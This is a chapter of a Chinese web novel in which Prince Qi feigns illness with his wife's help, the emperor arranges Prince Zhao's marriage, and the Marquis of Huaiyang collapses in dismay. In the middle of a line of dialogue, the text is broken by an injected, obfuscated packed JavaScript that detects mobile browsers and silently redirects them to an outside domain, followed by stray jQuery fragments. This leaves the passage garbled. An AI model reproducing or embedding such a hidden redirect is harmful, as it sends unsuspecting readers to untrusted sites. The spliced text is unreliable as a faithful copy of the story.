50. 生病

作品:《钓上一个假夫君

    次日一早,齐王半夜里旧疾复发的消息就传进了宫里。


    今日没有朝会,太子在宫中和陛下议过国事后就出宫往齐王府上来了。


    因他坚持要探视谢怀雵,管家就将他请进了谢怀雵居住的正院里。


    屋子里伺候的人不多,除了齐王妃外,就只有寥寥四五人。先前陛下派来的太医也在其中。


    听到他来,坐在床边的齐王妃立刻站了起来。


    太子连忙拦住她:“王妃不必多礼。”


    他细细打量了一下这位才过门没多久的齐王妃。


    前几回见她,都是在比较正式的场合。太子虽然只简单看了两眼,但还记得这位齐王妃是位容色丰润、鲜活灵动的美人。


    谁想今日再看,太子竟觉得她苍白憔悴了许多。


    想来是为了怀雵的身体忧虑过度所致。


    太子在心里叹了口气,安慰道:“王妃不必忧心,怀雵一定会康复的。”


    宽慰过齐王妃,太子走到床边。


    谢怀雵似乎是睡着了,但明显睡得不太安慰。不仅眉头紧锁,梦中还不时地咳嗽两声。


    太子看向站在屋里的两位太医:“齐王的病情如何?”


    虽然他的语气不算严苛,但太医还是忍不住擦了擦冷汗:“回禀太子殿下,齐王……这是旧疾复发。”


    “我自然知道他这是旧疾。”太子忍不住皱起了眉,“我是问你他情况如何?”


    太医心里也是有苦说不出。


    齐王这病来得突然,昨天早上他们请平安脉的时候还风平浪静,谁知道晚上才刚睡下就出了事。


    从脉象来看,他这回犯病倒也不太严重。但两剂药喝下去却一点也不见效,就一直这么有一搭没一搭地咳着。


    两位太医刚刚也商量过了,觉得齐王这次复发也不算什么大事,只要安静调养几日就行。


    可现在太子问起来,他们却不能拿这话来回啊。


    人家弟弟病了,躺在床上动不了,你还跟人家说他弟弟病得不重。信不信太子立刻就让他俩滚回老家种地去啊!


    太医正在斟酌怎么回话,床上的谢怀雵先醒了:“……太子殿下?您怎么来了?”


    太子连忙在床边坐下:“怀雵你醒了?你现在觉得如何?”


    谢怀雵捂着嘴轻咳两声:“没有什么大碍。惊动您来,怀雵实在说过意不去。”


    “都是自家兄弟,你说的这是什么话。”太子替他顺了顺气,“要不要我回宫请父皇再派个太医来给你瞧瞧?”


    谢怀雵摇了摇头:“不用这么麻烦。两位太医瞧过了,说只要静养几日就行。”


    “这样啊……”太子沉吟片刻,点了点头,“那也行吧。”


    他又坐了一会,确认谢怀雵这次犯病没有上回那么凶险后,才起身告辞。


    齐王妃送太子到了院门口。


    “王妃不必再送。这个时候,我想怀雵会更希望你能陪在他身边。”


    顿了顿,太子又道:“这几日要辛苦王妃了。要是怀雵需要什么,或是他病情有所反复,王妃尽管派人到东宫来。”


    齐王妃面露感激之色:“多谢太子殿下。”


    *****


    一送走太子,姜同云就快速溜回谢怀雵房里。


    见她回来,谢怀雵推说自己要休息,让旁人都退了下去,只留姜同云陪着。


    “如何,太子没有生疑吧。”


    “你连两个太医都骗过去了,太子又怎么会起疑?”说着,姜同云来回打量了一番躺在床上的谢怀雵,“你这么熟练,肯定不是第一次装了吧?”


    谢怀雵心里一紧,连忙摆出乖巧无辜的表情来:“确实不是第一次。不过也是因为我先前受伤损了底子,所以才能装得这么像的。不然哪能瞒过两位医术精湛的太医呢?”


    果然,一提他之前受伤的事情,姜同云就露出了心疼怜惜之色。


    她在床边坐了下来,轻轻替他顺了顺气:“以后要是真的不舒服,你可不能装作没事瞒着我。”


    谢怀雵心头一暖,握着姜同云的手点头保证:“好。”


    姜同云观察了一下他的脸色:“热不热?”


    “是有点。”


    于是她帮着掀开了被角:“装病这法子倒是立竿见影,就是得委屈你在床上躺几天。”


    谢怀雵笑了笑:“有夫人陪着我,也算不得委屈。再说了,现在太子都来过了,消息肯定很快就能传出去,咱们的目的已经达成,我明天就可以再‘稍稍康复’一些了。”


    姜同云笑着戳了他两下:“你这个‘病’可真是顺心如意。”


    到了第二天,谢怀雵还真就向太医提出,觉得自己的病情有所好转。


    太医仔细地给他诊过脉,又观察了好一会,觉得他这次的病情确实已经控制住了,就也同意让他下床走动。


    谢怀雵好转的消息送到宫里去后,帝后跟太子都很是松了一口气。


    宫城内。


    陛下听完内监汇报,终于舒展眉头,露出了一个笑容来:“去年那次,怀雵病得那么严重,朕还以为他今年又要折腾上一回。好在这次没什么大碍,也是先祖保佑了。”


    邓皇后也跟着笑了:“臣妾倒觉得,许是齐王妃照顾得好呢。”


    陛下想了想,点头道:“也说不准。朕记得钦天监先前算过,说他俩八字极合。没准就是取了个好媳妇,让怀雵的身子都变好了。”


    “要是淮阳侯的孙女也能这样旺一旺老五就好了。”


    邓皇后脸上的笑容略微有些挂不住了:谢怀晟都已经是亲王了,还想怎么旺他?


    陛下不知道邓皇后心里在想什么。他纯粹就是想到去年谢怀晟惹的祸,觉得自己这个儿子目前虽然好用,但性格方面确实有所欠缺。


    到底也是自己的儿子,即使要拿他当太子的磨刀石,陛下也希望他将来能够全身而退。


    可惜就他一贯的行事作风看来,这个难度有点太高了。


    只盼着他成亲以后,能稍稍收敛一些吧。


    想到这里,陛下转向邓皇后:“朕打算过两日就下明旨给赵王赐婚。皇后那边准备得如何了?”


    邓皇后咽下心中那口气,浅笑着说道:“该备的东西都已经备得差不多了。有太子妃和含昭帮忙分担,一定不会耽误赵王的婚事。”


    “如此甚好。”


    *****


    五月底,陛下果然降下明旨,给赵王聘了淮阳侯府的千金做王妃。


    淮阳侯府内一派欢腾鼓舞。


    淮阳侯钟冀看着喜形于色的三个儿子,重重地叹了一口气。


    长子钟砀看着眉头紧锁的父亲,下意识地收起了笑容:“父亲因何叹息?”


    “……自是为了阿蘅的婚事。”钟冀沉默片刻,方才作答。


    “阿蘅马上就要做赵王妃了!父亲不替她高兴就罢了,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811986|153744||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么还要叹气呢?”


    就是因为孙女要被嫁给赵王,所以他才要叹气的啊!


    看着面露不解的三个儿子,钟冀只觉得脑袋生疼。


    他费力地揉了揉太阳穴,问道:“今日跟着圣旨一并送来的这些恩赏,你们觉得陛下是出于何意?”


    三兄弟对视几眼,最后还是老大试探着开了口:“因为陛下看重咱们家?我看今日送来的赏赐之多,只比当年聘太子妃的时候略少了一些,想来陛下应当很是满意阿蘅的。”


    钟冀觉得自己的脑袋更疼了。


    聘亲王妃的恩赏素有先例,就是额外加恩也有定则。远的不说,去年陛下定了永平乡主做齐王妃的时候,加赏的东西就完全符合旧规。


    怎么偏偏到了自家这里,陛下就要多给这么多呢?


    只怕额外多出来的这些东西,是陛下提前给钟家的补偿啊。


    那阿蘅将来——


    一想到乖巧懂事的小孙女,钟冀就觉得胸口生疼。


    可惜他的三个儿子根本就没往这个方向上想。


    他们杂杂拉拉地提了好些缘由,但都脱不出“陛下看重钟家”和“陛下看重赵王”这两点。


    钟冀是越听越觉得绝望。


    怒火攻心之下,他两眼一翻,竟直接晕了过去。


    *****


    齐王府中。


    姜同云闲得无聊,拿着木樨做到一半的绣活打发时间。谢怀雵就坐在她身旁,面前摆着棋盘正在跟自己对弈。


    “陛下果真选了淮阳侯府的姑娘来做赵王妃呢。”姜同云落下一针,给绣布上的枇杷添了一层薄薄的橘色。


    “我来之前听人说,淮阳侯接下圣旨后喜不自禁,高兴得直接晕过去了。”


    “真的假的?”姜同云闻言,立刻放下针线扭过头来,“他的年纪不小了吧,可别真给乐出事来。”


    “自然是真的,陛下都已经派了太医去瞧了。”谢怀雵捏着黑子思忖片刻,方才落下,“不过我觉得,他还真不一定是高兴坏的。”


    姜同云笑着打趣道:“不是高兴坏的,难不成还能是气坏了的?”


    “这可难说。”


    谢怀雵抬起头来:“虽然我与这位淮阳侯不熟,不过他年轻时和邢国公一起在边境共事过好些年。邢国公评价他,深谋远虑、进退有度,不仅谨慎持重,更有洞察人心之才。”


    姜同云愣了愣:“……所以你是觉得,淮阳侯也看出来陛下的意图了?”


    谢怀雵笑着点了点头。


    “淮阳侯解甲已有十余年了。他虽然在爵位上略逊梁国公一筹,但论起军功、资历还有辈分,那可都是稳压梁国公的。”


    “可他回到金陵后,就以伤病为由,拒绝了陛下安排的官职。这么多年来,虽然他的三个儿子都各自领着一份职务,但他就一直躲在府里,从来不对朝政多发一语。”


    “只是这一次,他怕是躲不过去了。”谢怀雵说着,又在棋盘上落下一枚白子。


    姜同云想了想,赞同地叹了口气。


    现在淮阳侯府已经被陛下强行绑到了赵王这艘破船上,再想离开那可就难咯。


    不过事情也不是全无转机的。


    “只要淮阳侯仔细约束子侄,不要过多地掺和进太子和赵王的争斗中去,应当也不会惹出什么大祸来。就是……”


    谢怀雵接过她的话头:“就是不知道,他还能为自己家再撑几年。”